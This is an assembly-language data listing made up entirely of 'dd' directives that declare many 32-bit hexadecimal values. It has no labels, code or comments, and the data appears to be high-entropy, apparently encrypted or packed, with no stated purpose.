dd 90533A16h, 0A927D855h, 0F2011176h, 0C9196E16h, 91AED521h
dd 692B08A8h, 6DE6801h, 0E32B018Ah, 3B828078h, 95310690h
dd 5B01FBDAh, 0E9071A3Dh, 8F5536ECh, 0C12D26BCh, 0EBB03B93h
dd 4112225Fh, 8E201EE9h, 3D3126B8h, 0F1A51138h, 0B6F784E2h
dd 0DF59BFBAh, 0ADB15A64h, 0BB4A7B4Bh, 0B4E42B45h, 40C438AAh
dd 0F70E9778h, 58F37CB9h, 1AEE290Ch, 0E4019DE3h, 802A667Fh
dd 3072C4A7h, 0F00C0731h, 0C1B09C11h, 4E9DD0E8h, 5B0504E1h
dd 0EB03F321h, 0C0D46804h, 7DD617D2h, 47C3BEA0h, 80B71ABBh
dd 791C6926h, 0F4BD0465h, 0C1825263h, 314D5B4Bh, 5F5ED2B2h
dd 28869D63h, 6B7DF11h, 1F3577C7h, 0DE0CC46Ch, 0C5DC13Dh
dd 1A5F0F98h, 35D8E937h, 702C2BAh, 0D6097749h, 0F21575Ah
dd 0EAA06472h, 89C2F580h, 509FC89Ah, 1E92D02h, 5B96BA42h
dd 0AFA6C3F8h, 1FD97F0h, 0E06A5D5Fh, 904131E0h, 10B1F82Bh
dd 0B85E8CD8h, 4AF4ED2h, 9CC65D5h, 0D990DF28h, 0CEBF9438h
dd 50DD2E5h, 0E8C16699h, 8E6EC617h, 0FAFCBD10h, 0D70FD262h
dd 1074AA5h, 6B60A1B4h, 5764F82Bh, 2044A3BFh, 557BE951h
dd 0BE785BF1h, 0D4132458h, 0A10BF86Dh, 2280E2D6h, 0EE28A0B5h
dd 0C6E05966h, 65B45005h, 70C1C480h, 0A62A79A8h, 0A09F1CFCh
dd 0E149F62Dh, 8921EE68h, 4AB60F5Bh, 90797586h, 1300D125h
dd 28CAAE8Ch, 3E3C7204h, 0A7CB8030h, 2F76F0DBh, 43F6CA07h
dd 0E2C01DC0h, 6046415Dh, 0FB942428h, 189EBAB3h, 2300CF92h
dd 4D9045C9h, 57962F68h, 5F1A2718h, 0A65C8382h, 4E5D9969h
dd 9EA10E82h, 0BF58A67h, 97197798h, 0F90D0401h, 77E23D03h
dd 2D5F9248h, 1D7A6100h, 30990564h, 247590E7h, 7AD7DF90h
dd 0DD2DA27Ah, 0BCDAA2BFh, 4B895E98h, 412BB17Fh, 0D768B651h
dd 88B459DAh, 0F625AF51h, 143A0245h, 7F0969A9h, 35937566h
dd 1DC4008h, 92427FBFh, 39984356h, 4F7A7EB8h, 0DF25C0BFh
dd 0CEA8309Eh, 27F8461Ch, 35BBEF4Eh, 0A8DEAB1Eh, 21106816h
dd 40FCD55h, 0F17C00ABh, 0E45DE872h, 1923143h, 8EACD049h
dd 26CB40F9h, 73908460h, 53517C30h, 0E3FF8B1Bh, 0C92CAF2Ah
dd 891FCA0Ch, 42811EEEh, 5FA10DA6h, 0E34289C2h, 8BFF080Bh
dd 6BCBFCF0h, 0FD8889D7h, 0D89F1FE4h, 30D1AC75h, 0EAADC513h
dd 19267758h, 8F10190Ch, 0FBFAB212h, 0DAEA01C5h, 28B20146h
dd 61336866h, 0B1079672h, 0C9CA30AAh, 3A284249h, 52A83612h
dd 0F2E2EFA5h, 0FE8A9316h, 4AE7B132h, 8DA2FD72h, 1AD7C6B5h
dd 0E945D08h, 0B9A6818h, 9FDB40EFh, 96349766h, 0C9C15EFCh
dd 0FE019419h, 94C76AC9h, 7E9948A2h, 55AF6097h, 25FE0BA6h
dd 89BCEAB7h, 930BF46Bh, 684B42C6h, 65D51F24h, 0F8E90915h
dd 47C8D2Bh, 89401811h, 2FE9EEB5h, 8E91EFA9h, 0CFE26001h
dd 0BE37D90Eh, 6CDCDF1Ch, 0BAFAD49h, 23907F21h, 0FD9692D0h
dd 0D288D625h, 5665EEFEh, 0A64698AFh, 0E26A8B41h, 89D61012h
dd 3004592Eh, 8102902Ch, 34AED01h, 0C50123AEh, 80CB544h
dd 2511E58h, 894116F0h, 36605DE9h, 9B1C644Ah, 79704573h
dd 282B2C9Dh, 989F890Fh, 21B70967h, 0D1006F18h, 59514FEh
dd 7E7C11Ch, 3F04EFD6h, 0EB12AD37h, 3085E293h, 8C545BA3h
dd 144C693Bh, 86803A3h, 0B5D17D40h, 5623B4BFh, 0AB275777h
dd 0BCC8E8A8h, 2558243h, 0F7E6BADCh, 8484D159h, 1CC06C2Ah
dd 484FBFE3h, 30101516h, 8ABA0358h, 0D149FB62h, 0A33B097Fh
dd 3609328h, 95B86857h, 0ED550289h, 1EEC2564h, 0F7B00F25h
dd 57683DBAh, 0C3CC11A3h, 975A4854h, 0E961C8F9h, 234FA2Fh
dd 0E1E3A8EDh, 6BB42833h, 588F12BFh, 0EEF504E0h, 6E84129Dh
dd 4AC48FAEh, 0AFD3B8B2h, 0AF6170CBh, 2AAA7DE9h, 0BC1F414Fh
dd 53CB7C1Eh, 12D446D8h, 97793D68h, 7211720Ch, 0D8B4E902h
dd 0AFF6B181h, 86F60B09h, 34C09A16h, 2F40ADBEh, 29704987h
dd 5F46B4C0h, 5301FE97h, 59244BF0h, 622DC082h, 7E02D36Ch
dd 3836C905h, 95016144h, 0C37A317Bh, 82680329h, 9F59C64Dh
dd 0DC4B34DAh, 0DCD3D1A8h, 730E916h, 256EC90Dh, 5BAFB806h
dd 9609FEEDh, 5E2BABFBh, 156858D8h, 34251712h, 5A69420Eh
dd 5CCA5D2Ah, 2E7472DDh, 2FAA5655h, 5DCD20Bh, 91177172h
dd 16502B02h, 0BB35E905h, 0C210C1A9h, 4DE05B70h, 645D126Dh
dd 0AF55127Fh, 0CF29864Eh, 88BEACE9h, 4FA4B153h, 0C0E0D5CBh
dd 0CDE4C5FEh, 99F6F679h, 0EBF7A7BDh, 44793172h, 44CD0282h
dd 0F7011129h, 975FD761h, 0E707EB4Bh, 9BB5C386h, 0A27E58E1h
dd 0F6FC4BFCh, 258E2DC0h, 2977495h, 9F513F2h, 0F6DAC475h
dd 31914A6Fh, 6F0F48DEh, 1711198Ah, 0B83C2588h, 0B54F1C73h
dd 809D61E4h, 364B3042h, 1EF895A5h, 100CFF58h, 49DF6788h
dd 62A98DACh, 97199CF5h, 0E892AF4h, 7C3A7587h, 8B0E5957h
dd 1E9486FDh, 0EE301042h, 700C051Fh, 1B76022Eh, 0EC26F01Eh
dd 0E97D4F01h, 612BBE45h, 0F0E80194h, 6CB7BB56h, 68FCB5BBh
dd 74619142h, 0D979634Bh, 98CF3D3Bh, 0D80F7FE8h, 0C940E05h
dd 0E5B72022h, 1185E862h, 681255FAh, 7A705175h, 4CAB27CAh
dd 0EE00464Ah, 0A34D297h, 0F05E8950h, 0D41D3881h, 0CF125E7Dh
dd 0F27B676Ah, 225CBE5Bh, 43B71243h, 0AF10FE8Dh, 8952097Ah
dd 2B9D0BDAh, 75CC75B2h, 0FDEC9602h, 0C874E9ACh, 4B9D6828h
dd 5818A356h, 0B494C5ACh, 5925E8A7h, 25FE9CF5h, 0A91C8DFFh
dd 4BF8F39Fh, 0E15153FEh, 0F6AF03EFh, 329A188Fh, 6F384AD9h
dd 1EF05444h, 0AC3B6804h, 0AFBAC13Ch, 7A701004h, 46E565C5h
dd 506BE85Ah, 145A55FCh, 534CCBE9h, 2A90E15Fh, 83CAA54Fh
dd 0BB50B753h, 0CD682AEFh, 6D6CB585h, 37685E09h, 205A662Ch
dd 0F607C41Fh, 43E380DBh, 5FACB33h, 0CFB04458h, 9D56A930h
dd 0B6521E04h, 0A6ACAC81h, 815C3E82h, 0C55D02C5h, 83DD2DD8h
dd 70856F16h, 2CF077D6h, 693CBE5Ch, 36755D89h, 0BEE915B0h
dd 5849733h, 25F8FCFEh, 326B78D3h, 0EEF39D11h, 295D4CCh
dd 0FC215A3Dh, 0DF56252Eh, 0EB08D124h, 40C01D47h, 66D3F606h
dd 5D3FB551h, 811F2880h, 0EE28BF3Fh, 1A7BB010h, 38D765E9h
dd 0F66E8BFFh, 0A44E0FD9h, 0E9DE0161h, 0A2C47E0Bh, 2B1E3BFh
dd 0B2521CF3h, 0D8C1F52Bh, 0E9686FD2h, 0E2CA4EFEh, 59826710h
dd 75973D82h, 0B85CB23Ah, 0BC3F48EAh, 2D439F62h, 1A452340h
dd 0E2B6A25h, 70558D6h, 0C0DFC3EFh, 149D41CAh, 5D0BB951h
dd 50DE85F1h, 32F49D11h, 6843AE6Ah, 0F36DC322h, 0CFF803E7h
dd 40B93AFBh, 1F5AF7B0h, 0D7AACBF9h, 5C06A055h, 0EC338A21h
dd 0F860BEAh, 41726065h, 7A5F0881h, 982092C1h, 48C3FD3Fh
dd 80521218h, 14581DACh, 3AD0E908h, 5352681Eh, 3D650760h
dd 971348F7h, 670D8006h, 7B0A745Ch, 0F7793E31h, 21C6F609h
dd 805BDE40h, 0EECC27DDh, 97F9EDC9h, 0E98C037Eh, 670587A5h
dd 7CD96B4Eh, 6AB72DBAh, 2F4F60A0h, 8103DEE9h, 2CB94D45h
dd 0BA383F85h, 0A2829731h, 0D0059AAAh, 0BDA0F5B0h, 0F24E5074h
dd 0B0A665BBh, 2FF9E98Fh, 0C6290805h, 0D1AE2E74h, 26CF5A3Fh
dd 0FC005F11h, 296E61EFh, 0D8F73995h, 1300CFD8h, 0E9D6919Eh
dd 39B518BDh, 0CD7FB941h
dd 66D39239h, 0B6A07BBCh, 1528B041h, 82C9E28h, 0F60B79C6h
dd 2261DFDEh, 0CEB1FBE6h, 79AE247Ah, 155CF5FAh, 0ED287F3Eh
dd 0E11BC5C8h, 0AD34EE28h, 0B1512CC0h, 72E9FAAEh, 16034D05h
dd 3A0A6809h, 586254F6h, 49E55119h, 28DA2C91h, 82D06DBh
dd 5A14691Eh, 5DD18175h, 0BFDD2066h, 0C3E81D5Bh, 0B943491Eh
dd 0B7E118E1h, 0C90A8968h, 402F826Dh, 495C0BB1h, 4A830742h
dd 13F97758h, 51744F42h, 0D40E8B5Bh, 0D2128AE5h, 4D5D5901h
dd 842A3109h, 91CCBA33h, 2DAAB04Eh, 0D7C6D2B8h, 8046D504h
dd 0B9AA584Bh, 499E768Fh, 0BF1A7D2Fh, 0B55C8422h, 0C5E9FA5Ch
dd 5759271Ah, 0F088362h, 1DA4F582h, 0C044663h, 13D26CF1h
dd 0B1913EFh, 66DDCB71h, 200FF886h, 7722C56h, 22CAA630h
dd 163AA4BBh, 97293945h, 0BF8AF325h, 7E05C728h, 76825562h
dd 2464D25Bh, 61AE824Eh, 2A0B4468h, 97694D9h, 5AD12B2Ah
dd 8D32EF8Fh, 0C55AFD66h, 7755ADF9h, 0F6B2969Ch, 0C9EE5E4Ah
dd 528D3AADh, 51C90DB2h, 0EA8FFBD5h, 907FA513h, 70A56804h
dd 0C8D4BD45h, 7ACA7DCBh, 712562D6h, 0F86609CEh, 1391C928h
dd 0EABDB463h, 3D6934FCh, 0D08FF70Fh, 7B2F422Dh, 43141558h
dd 5FBA809Dh, 3BA57106h, 250B63BDh, 725ED529h, 86C42CB7h
dd 7410D1BDh, 0A9B502A6h, 5759E828h, 0F82793D1h, 640417A0h
dd 503DF81Eh, 0EDEC56FAh, 15EA0D7Bh, 0C2279298h, 0F9327DE8h
dd 0D7FE9986h, 8DA8AD72h, 2A862391h, 4E891DE9h, 30B27558h
dd 5299687Bh, 5BC0C91h, 475F3525h, 8B23B5EAh, 52573FCCh
dd 31D0BFFDh, 88373301h, 9693B961h, 0E04083E9h, 604504EDh
dd 5C660C4Bh, 0E9132325h, 95B924E2h, 69CAACDFh, 27B6C657h
dd 667E5DE9h, 53C40E13h, 0EE4BCDA7h, 55507A72h, 5927F1CDh
dd 20491FB1h, 9CFBCBA3h, 0FAF78D82h, 56E92FC9h, 0D0F2C89h
dd 3D76677Fh, 286D5958h, 8DA06F3h, 5D380799h, 14ACBE02h
dd 0E97C40EAh, 0F279F94Ch, 0CF55FB05h, 0EE1FAF51h, 173E848Eh
dd 2EBFCDEFh, 59327780h, 68D7092Ch, 379A6738h, 0B6B05E81h
dd 41A6488h, 0A7E98A3Bh, 2789F22Dh, 81F154F7h, 0D7E68E1h
dd 0A70B8204h, 0B572116Ah, 0CA615727h, 264E438Fh, 16435579h
dd 0D16EA4A4h, 0F4B505B2h, 0E7F95394h, 0CDE2A7Ah, 479EFA4Ah
dd 47272016h, 9356D5Bh, 61687157h, 0E60C685Eh, 0B86743FEh
dd 0FD51251h, 7FC0FDE6h, 790493CAh, 0DAF76631h, 0F468DECBh
dd 67539697h, 0CF97C2D0h, 0E708BDD1h, 9A72C36h, 0E6D5C826h
dd 0C2DAB441h, 31AF2DCAh, 8BD5EA09h, 39203F1h, 0BE3C05B1h
dd 0C0236471h, 0D59C6F1h, 0F775FA09h, 0B2680AD6h, 2C0E5312h
dd 0F47823EAh, 95E1D068h, 4522E3FFh, 3B61BBDAh, 33B23B44h
dd 0AA14ACD1h, 0AA92C07Eh, 905E5C4Bh, 0A4ABCB94h, 0E3682A1Eh
dd 60CEFC8Dh, 922D0AB8h, 3F2E6B2Fh, 1F3C8948h, 1280838Ch
dd 9AE9C229h, 494E96C0h, 0F8816D4h, 0E376257Fh, 46E0E030h
dd 0EC4E7E15h, 0BC3A9DF4h, 0E9D00B5Eh, 0C53760C8h, 0D6A536F2h
dd 0D109A71Fh, 0CA843557h, 188C8BFEh, 0BDDD1466h, 981278A0h
dd 2E037C4Fh, 2C57E5D1h, 0A2618ADh, 32D271C5h, 0C448B2F8h
dd 0B6385531h, 12882A7Ch, 760507ADh, 502A6974h, 6D332B02h
dd 8A0151h, 0DD2EE907h, 0B249FCB6h, 0FD40C295h, 5B795D66h
dd 58DFC354h, 41956812h, 0A0D60FF2h, 90E150CBh, 3F253C4Ah
dd 0C70B3F7Ah, 747DF1h, 70B3EF23h, 6097C0Fh, 9E7343F7h
dd 79090C30h, 579D2211h, 272B81ABh, 0DE6B4DD1h, 8209926Ah
dd 4A6166A2h, 3BE0EEF6h, 0FCE904D8h, 35B9C164h, 6455273Bh
dd 0E56FE500h, 0F69CAD3Fh, 1227A44Eh, 0D20CBD0Ah, 7D07D1BFh
dd 5ACC3A09h, 985D00E2h, 0BE38144h, 110A060Fh, 91626068h
dd 1B1234C0h, 0C3092D28h, 2B886040h, 0D077E327h, 0A7392037h
dd 0D1CD8100h, 686BE105h, 4F7CB7DCh, 0F8054E4Ah, 6680850Eh
dd 4F5572D2h, 12C2AC30h, 0E4A8EDC4h, 68765BA2h, 0FE0FF727h
dd 697C3126h, 860EC563h, 0E085D944h, 4EFD1F5Ch, 5AED4B94h
dd 945892DCh, 9FBB505h, 98CCEC09h, 5E685ABFh, 0AD1FE508h
dd 8924C734h, 92F5B335h, 0F3900033h, 0EC53A917h, 6D22955Dh
dd 0B966A6C9h, 18E9504Ch, 0CFD321B1h, 306558DAh, 37EB0C61h
dd 99CC474Bh, 0C133B385h, 6CAF90ABh, 6480A60Bh, 0FEC2475Eh
dd 68593A41h, 752349F0h, 0CB291392h, 0ABD41838h, 0BA9F349h
dd 293CF050h, 4BBD96D5h, 93108109h, 784B3326h, 72A3366Bh
dd 9E888002h, 3D7A247Ch, 7E6F0EBEh, 0DF9AEE16h, 468CFF4Ah
dd 427214B9h, 164CAB60h, 4BA3F510h, 2F048AE8h, 0B1A5482Bh
dd 58A17B33h, 0EFC58AB0h, 1A256B3Fh, 2E7D036h, 2992A721h
dd 60555FFDh, 9A4CFF23h, 15E2BF0Bh, 888D4056h, 42EC4594h
dd 0BF487B2Dh, 0EE51D1D8h, 832A08h, 4C240003h, 0E91125DBh
dd 4691A66Ch, 0F7F02942h, 6FFDBF1Ah, 92E8EECh, 2D77EA16h
dd 55559BC2h, 0C5206CCEh, 883AA3A2h, 2E0B2744h, 2C49B8h
dd 4A9E051Ch, 0E2BD5AC7h, 590707B9h, 0A00BBCF2h, 0D1BF5733h
dd 72F63F49h, 0C6EF6279h, 595DE068h, 26462FE5h, 64E66AEDh
dd 85422724h, 5F327D68h, 0EA414A1Ah, 0AFF3818Ah, 602E997Fh
dd 3B17B894h, 600150DAh, 55A91F43h, 0F3D9B42Eh, 0E0B06609h
dd 5BFC834Dh, 89B4EE89h, 0FBE15381h, 0D2E8DDE9h, 7089B669h
dd 689E9DB7h, 0F63CE700h, 4AB8E9DFh, 69C3326Eh, 9F96025Ch
dd 0F38393C5h, 0F240ECE4h, 46EF15FCh, 0E8E2C131h, 0B33BCD43h
dd 7C40731Ah, 33459D5Ah, 2ACD6881h, 643E088Ch, 0A702BA23h
dd 503B4823h, 0B20500ADh, 0E947A012h, 81D372C7h, 0B15D3501h
dd 0D7EE012Fh, 7E097D16h, 0B203670h, 550F897Dh, 0E54236F3h
dd 1A5AFFDCh, 21BE5602h, 557CD357h, 0EFE638C1h, 9E00D44Ch
dd 273A5925h, 47CEA0A0h, 0AB90658Eh, 0D85B4301h, 1D4DE993h
dd 98303499h, 0D06B032h, 0A9377568h, 68D865Ah, 6E0BD1F6h
dd 3CF16EECh, 0A3E83ACCh, 0DB62AAD2h, 0BA5709F1h, 1641865Dh
dd 695A4DF1h, 5DB25200h, 0E2C0C2FEh, 0D602E4C6h, 8186A05Ch
dd 34CAB59Eh, 6ECA4780h, 0CC07291h, 40EB36F5h, 0AB345F8Bh
dd 0E9123F2Eh, 0D010B180h, 599D76EAh, 0FC8CCDEBh, 0C09F5103h
dd 4188CFD5h, 0F8B1E4D9h, 9ECA2833h, 74BBCD16h, 0C0CB1394h
dd 5F93B8F1h, 5521C0Ah, 900884Ch, 0DB354840h, 7F9F5CBDh
dd 0FCB5FE12h, 0F040CA97h, 853F8CA6h, 1EA52BF1h, 0DC10F2A8h
dd 0B0FC4EC5h, 9A285305h, 0F05F824Bh, 336BB055h, 9DE69B58h
dd 17390E9h, 37A1CB81h, 83603C05h, 0E258955Bh, 595877Ch
dd 2EE8D4E8h, 0C038414Fh, 2465DD56h, 0E9124AB4h, 32BAAB95h
dd 0A0FDA7ECh, 6CE3C7BFh, 1E205BBFh, 0C9807979h, 899CA670h
dd 6F26E9F8h, 0BB841571h, 62B46C1Dh, 690D0539h, 0F899E95Ah
dd 0EBA35A32h, 18796384h, 0BD73C12Ah, 3E9408E6h, 31113E89h
dd 9E7CFB57h, 0B2915917h, 5D312660h, 50A9C60Dh, 84BCFD3Bh
dd 890B602h, 5A2C59C8h, 0B690EC77h, 86E91A07h, 0C7D3467Eh
dd 0E00DE24h, 0E945896Bh, 2FD941A6h, 5236F6F8h, 0F225CA8Bh
dd 0A027223Eh, 84DC2B78h, 0F85AED02h, 139A5168h, 16E39462h
dd 42B8F58Ah, 5B01E6CBh, 28992A2Ch, 7E5D1090h, 0A9052CD3h
dd 0A06B56D5h, 1E2E0A5Fh, 0D827F368h, 0ABF39D11h, 524777CBh
dd 32A8A397h, 9AAA4Bh, 6301184Ah, 859D6AE9h, 0E4FB4B13h
dd 0E707814Eh, 17A60FB8h
dd 71A4DFB2h, 287C8959h, 0E9D8B476h, 12A19A09h, 94E5B5Eh
dd 1DCEEA9Fh, 5A418CB0h, 0FA5C856Eh, 314AE1B6h, 2B6D47BBh
dd 9DA2AE67h, 0C1F49BC4h, 0EFAF8AEDh, 54346D7Eh, 608954C7h
dd 1EBDB91Eh, 892B8B0Bh, 0C4A9C95Bh, 0B6522B82h, 8239FD82h
dd 9D528106h, 2AE54DD2h, 0A1BC42C4h, 5B12093Eh, 126FF55h
dd 8E80201Eh, 5839BE1Dh, 0F3E60AFh, 95E77A04h, 0CF20640Fh
dd 590D7747h, 0BB60E499h, 0C07D7F4Dh, 7EBDC73Ah, 5E970496h
dd 2A082047h, 80D75EE9h, 5C6021B9h, 0A10A99Ch, 0F65A008Fh
dd 68C5FED5h, 0BD414943h, 0AEBF6484h, 0B4563C64h, 0EC9683F8h
dd 9829B15Bh, 97248A01h, 0B3130233h, 75042385h, 5C049649h
dd 7AA1B430h, 162A5B41h, 0F616BE7Ch, 12BBBF01h, 443E5975h
dd 0DDAF5641h, 5186101Bh, 2F0BBF3Fh, 14278FE9h, 644EF621h
dd 0EDD274AAh, 771D1068h, 695E5A37h, 535E0F90h, 88E95412h
dd 0E0059FC0h, 0A08A2818h, 37C403ACh, 6BE916BDh, 2058E90Fh
dd 361F04EEh, 0C62D8CAEh, 1D1C380Bh, 0D4FF433h, 7EE380AFh
dd 3A32A5E5h, 17619127h, 0BE06A21h, 82C391CDh, 105714B5h
dd 6682E660h, 3C6E693Bh, 0DD2F7EC2h, 0E9D2FCC7h, 0C34C703h
dd 0C63140C8h, 64AE585Fh, 2DACAA77h, 345F82E4h, 923A5B5Eh
dd 8241768Eh, 3FCC5B5Dh, 0BF7F20FCh, 7E981CC9h, 0BDB2DD87h
dd 4BC27479h, 0BAF0908h, 0EFFD9F73h, 7072310Bh, 21EC89C8h
dd 777A84D7h, 307E5FBDh, 0CA71ACD3h, 0FD053B35h, 2340685Fh
dd 0A316EA5Dh, 0E0412F8Eh, 0C382E6CDh, 0A94788Ch, 7E1A60C1h
dd 120DF5C8h, 4554A1Ch, 0ECFF09E5h, 5368E006h, 72336403h
dd 0C5DEC8D7h, 234BE309h, 0EC8DD14h, 0FF2DDF39h, 48F9C377h
dd 0AD4FD0FBh, 58C113A8h, 4C6D7606h, 74E8B587h, 0DB31131Eh
dd 57E30C20h, 0A261F03Fh, 4403141h, 5F9F9B14h, 0E465F883h
dd 5606C907h, 0FC01A9FFh, 0B5082095h, 0FB0BF9D1h, 0CFC8A6CDh
dd 0D274956Ah, 0B0CAFD92h, 7417680Bh, 5BE03CD6h, 9596E953h
dd 26D26C8Ah, 0A8722F94h, 58FFC9Dh, 0A57810E9h, 4DF37E93h
dd 209BCD96h, 64B4689h, 2568E2DCh, 0C2D13B3Dh, 8E99696h
dd 258AA018h, 8D964BE6h, 28B1336Fh, 83C7A06Fh, 0BE1E1A74h
dd 2D2689C0h, 4F217925h, 29765089h, 610B905h, 84C859C2h
dd 3716AE99h, 4A42A23Ch, 81A76779h, 48F768FEh, 0C66B313Bh
dd 0B8777E77h, 0FDB108B4h, 0E086ED3Ah, 0AB101A68h, 48B7C16Bh
dd 5B044B26h, 0B20B767Ah, 1DBC9248h, 0BB49C04Eh, 28275F09h
dd 3C5CC065h, 8F22BE05h, 348E0341h, 48BCDC0h, 50901DC1h
dd 12A83020h, 0B958C529h, 0E04B2FB9h, 3B6853DFh, 633D54DBh
dd 0BAA3D4A6h, 0A74759Bh, 2B3E6DF8h, 0BF25137Fh, 491EDD88h
dd 0C0FBFCBFh, 6BCA175Fh, 3C0B239Eh, 0A17513Ah, 9E933D39h
dd 575656EEh, 5C4FE00h, 29B2AC3h, 14FBE20h, 2A4177E0h
dd 814BC7B4h, 49D6B80h, 297E13ACh, 6CB498F9h, 802A7B60h
dd 165384C2h, 8A8B551h, 0EA80EC9Fh, 0AC9FEABh, 0ECE25ED1h
dd 1EA4F35h, 0B5922231h, 20802E40h, 0B03FDE34h, 0F16C9865h
dd 82CA2901h, 0AD7593E4h, 0B351E16Eh, 4012F72Eh, 659BC5FCh
dd 173DB92Ch, 2BCE3BA6h, 0C8EEF526h, 8D0909FDh, 8A9DE614h
dd 0F6AFC352h, 9686AEC3h, 0DADA1368h, 0C6C159C7h, 0A5F8456h
dd 706ECCEEh, 0B7E2DD8h, 5A580820h, 7FD4BDDh, 59C8137Fh
dd 1443AA05h, 5FB2E0E9h, 0A6AFC044h, 68170F2Ah, 0BF0BF889h
dd 9FAE58FBh, 6A407EFh, 2B85DF25h, 0C886A914h, 8819475Ah
dd 3FF6817h, 465E392Eh, 260EC002h, 0D756250Fh, 55D18480h
dd 2CFD18E9h, 55A6A52Ah, 696F0496h, 78E311D3h, 82BAB95Ch
dd 0FD601DEAh, 5AD646C0h, 517B7E9Fh, 4F042A37h, 0FCAFEA88h
dd 0DB7D109Eh, 16B6F85Eh, 27ACE2C1h, 0C5152950h, 0F332FBD1h
dd 2E360FDBh, 864F740h, 8D12B8BCh, 0DE8F41C7h, 6E19B94Ch
dd 0D814E7ECh, 52480A05h, 170C88Eh, 85BE381h, 0FB30657Eh
dd 0F4C295C1h, 6565D375h, 9FF015Ch, 0DA46E650h, 5916D5F4h
dd 0B29395FCh, 763910DCh, 0F3398748h, 9263B94Bh, 0FCA5F6E8h
dd 1C0F58E6h, 0DE274168h, 2F0AC077h, 0B6B872BAh, 65AECC4Fh
dd 7EDCBB09h, 68520055h, 77EB66CCh, 59B78FE9h, 18CBAC88h
dd 8BB81085h, 7DF96B04h, 0FFF2D831h, 0EEC3A3C4h, 9B40588Eh
dd 0FEB15A50h, 9EF9CB2Dh, 2832032Ch, 0D17551D8h, 0FEF38199h
dd 7BDFF6C7h, 0E96D4EC1h, 276EB4C5h, 0AE9B8474h, 0EBF1134Fh
dd 58726028h, 3ADD772Ch, 0A64E04F0h, 99680BA5h, 0B3251879h
dd 0C3FE0659h, 1860D9E9h, 0C4C25E59h, 0C1EC4F1Bh, 0C544B9C1h
dd 99F4403Dh, 0EB90DD22h, 0AEB95C7Dh, 0BC843581h, 0F16E2F42h
dd 73BE6058h, 0B85F5A80h, 34940BA0h, 857F7993h, 80FEDADh
dd 2D3FF59h, 5CB15AACh, 8F82C393h, 9E94F76h, 5537E2D5h
dd 68877FE7h, 770971F8h, 0D5523951h, 0E09A0733h, 4C6ED3F7h
dd 0B82AE90Dh, 2AF04F50h, 30A4764Fh, 0F10F0780h, 0D4D30135h
dd 0F79BE471h, 0FE27DC7Dh, 52B1F09Bh, 0AE586B45h, 0FB78A107h
dd 0C2FA951Dh, 0B900A32Bh, 6FA467D8h, 0DDA43123h, 0AFCAAF0Fh
dd 1226D74Ch, 6DE98914h, 7B953FD0h, 0EE054B4Ah, 13C4CA03h
dd 0DC0CF729h, 0BDEF1B8Ah, 6E77390h, 3A0EC8C1h, 0A8A0F37Fh
dd 0F6C207F1h, 0F170E513h, 0F53DD7F2h, 31AF2E63h, 22A5B2CEh
dd 10931A94h, 47BDC06Fh, 0F26DC056h, 0CFAA64C5h, 0E44BCA90h
dd 0F32F41FBh, 8820D269h, 7BE7630h, 2783E8D1h, 9CCDA301h
dd 7AC94505h, 0D7878857h, 0BA6FBBC0h, 0F9871B2Ch, 17D3064Fh
dd 958712Eh, 71CA0F64h, 0B131AE5Bh, 82C317ACh, 0D159F587h
dd 46B88F44h, 0EA64FB5Eh, 41E7A8BAh, 56F73BB0h, 0B4D566CBh
dd 0BCB9B34h, 0FDA05CDCh, 0A17A8668h, 1358093Bh, 36BF4271h
dd 0D2BF5ADEh, 21B59382h, 0E90D313Dh, 0BC93CE1h, 4F38858h
dd 77EA3D22h, 0BFEDB29Eh, 9F1B5A7Dh, 5959C7FCh, 4F891E21h
dd 0E5FCE3C1h, 8C76AE02h, 0E4E4807Eh, 968F48DAh, 0A9A809FCh
dd 0B88011DCh, 1BFE5719h, 0F1A092Dh, 8BF5D718h, 9D1F267h
dd 44E647FFh, 0FACE8E09h, 2A8B0CBDh, 77E5BD59h, 88B75A5h
dd 7C94E45Dh, 0AB022FD6h, 7FA35A0h, 5D2651D5h, 480E4D45h
dd 89B7E3FCh, 0E45C60EEh, 49E95E08h, 215ACE92h, 0E6BF4C65h
dd 5AF4A24h, 0ABEAC12Fh, 0A87A8739h, 28FB923Eh, 8C413F80h
dd 337BF03Eh, 0C1206D6h, 0E580E280h, 0B05007ECh, 0D2C530E8h
dd 0B848F7ABh, 0E7DF6EA3h, 80E418BEh, 174F680Eh, 44A2076h
dd 0B7DA1C0h, 606B56BEh, 0EEC02E5h, 0E9EA010Eh, 50D13514h
dd 331F054Ah, 0FB943BDCh, 880841EDh, 0DD974Eh, 7940B85Dh
dd 5071986h, 2A1129E6h, 802DF832h, 320D5F07h, 5A79173Eh
dd 16A65650h, 0B4A80DCBh, 0E765D88Bh, 40D1F49Dh, 39D308B5h
dd 0D1292Fh, 41C817BDh, 0CE0930C4h, 5CE7EEA2h, 0A711B73Fh
dd 0B4F5FEC7h, 0F995BB0Ch, 0FA1279BCh, 0F17921B6h, 20CCCD5Ah
dd 574EF35Eh, 5D56EEF4h, 6382BA53h, 387C9D6Bh, 81017210h
dd 0FA4F2FCFh, 29C77B15h, 18C619Eh, 0C56A2517h, 12DF71ADh
dd 7D3AAD6Fh, 7841719Ah, 0C30D2AACh, 0E03ACA28h, 20770D06h
dd 0EC80E1EDh, 0D602F6A0h, 38E9C6FEh, 965C452h, 111E5450h
dd 0BCA83405h, 64C02C1Fh, 8341A87h, 0B252C640h, 0BEE9183Ah
dd 49BB82BDh, 27921503h, 254EF387h, 4FFE059Ch, 17C0755Ah
dd 334B5968h, 80B49BACh
dd 393B439Bh, 0FA29411Eh, 5B08EA14h, 0BAF734BAh, 8225A669h
dd 0B77CB83Fh, 0AB16EBE4h, 0FCCD2180h, 5DCC244Ch, 2C42A78h
dd 0D51F8FBAh, 6C7F8970h, 0E94B1E6Dh, 608EE605h, 1C516856h
dd 0ABC9F850h, 0E65FE262h, 953A7006h, 3002A251h, 0E132D78Ch
dd 8A6E56C6h, 98D51017h, 7004174Ch, 0C064331Dh, 2A14C58Dh
dd 0EE861550h, 75C65A09h, 0A0CC201h, 2F0D3808h, 4CC4C118h
dd 32376BE8h, 63AA9B90h, 64325D81h, 2582371Ch, 24546F5Dh
dd 9FE5AD40h, 0D29AE80Bh, 5440BBCh, 9A007606h, 3E4571E0h
dd 0CF9AEBB5h, 140530B1h, 0FE832A82h, 0AF6B9D5Dh, 665C8B15h
dd 11680E86h, 3CAE172Bh, 0EA17833Dh, 0CDEA5202h, 259232B2h
dd 0D17F8092h, 0B03540E0h, 0A70090Fh, 0CED5C301h, 18749DDEh
dd 9DEC60AFh, 0D8EB88DFh, 0C3E1505h, 41AD1301h, 0AB9BE616h
